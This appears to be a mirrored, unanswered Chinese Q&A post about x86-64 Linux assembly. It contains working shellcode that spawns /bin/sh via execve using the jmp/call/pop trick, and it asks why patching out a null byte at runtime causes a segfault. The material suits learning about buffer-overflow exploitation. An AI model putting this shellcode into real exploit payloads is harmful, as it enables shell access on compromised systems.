使用movb终止空会导致分段错误

时间:2017-03-17 18:12:59

标签: assembly buffer-overflow

这是我的linux64汇编代码(工作正常):

.text
.globl  _start
.type   _start, @function
_start:
        pushq   %rbp
        movq    %rsp, %rbp
        subq    $16, %rsp
        jmp helper
shellcode:
        pop     %rdx
        movq    %rdx, -16(%rbp)
        xorq    %rax,%rax
        movq    -16(%rbp), %rax
        leaq    -16(%rbp), %rcx
        xorl    %edx, %edx
        movq    %rcx, %rsi
        movq    %rax, %rdi
        xorl    %eax,%eax
        movb    $59,%al
        syscall
        leave
        ret
helper:
        call shellcode
        .ascii "/bin/sh\0"

现在我想通过将.ascii "/bin/sh\0"更改为.ascii "/bin/shM"之类的内容来终止字符串,并将M替换为代码中的Null。但它没有工作,我得到分段错误:

    .text
    .globl  _start
    .type   _start, @function
    _start:
            pushq   %rbp
            movq    %rsp, %rbp
            subq    $16, %rsp
            jmp helper
    shellcode:
            pop     %rdx
            movq    %rdx, -16(%rbp)
            xorq    %rax,%rax
########### Next line causes segmentation fault 
            movb    %al, 7(%rdx)
            movq    -16(%rbp), %rax
            leaq    -16(%rbp), %rcx
            xorl    %edx, %edx
            movq    %rcx, %rsi
            movq    %rax, %rdi
            xorl    %eax,%eax
            movb    $59,%al
            syscall
            leave
            ret
    helper:
            call shellcode
            .ascii "/bin/shM"

我使用gdb进行调试,一切似乎都很好:

  • "/bin/shM"
  • 中正确弹出了rdx的地址
  • 7(%rdx)M
  • 的最后一个字符的正确地址
  • 最后一个字符的字节值正确0x4d,即字符M

为什么我无法将空字节%al移动到7(%rdx),我该如何解决?

谢谢,

0 个答案:

没有答案